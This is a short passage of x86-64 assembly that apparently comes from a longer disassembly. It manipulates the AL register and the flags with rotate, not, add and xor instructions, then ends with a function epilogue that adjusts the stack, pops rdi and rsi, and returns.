rol al, 2
popf
pushf
not al
add al, 0x46
xor al, 0xc1
rol al, 0x12
popf
add rsp, 0x478
pop rdi
pop rsi
ret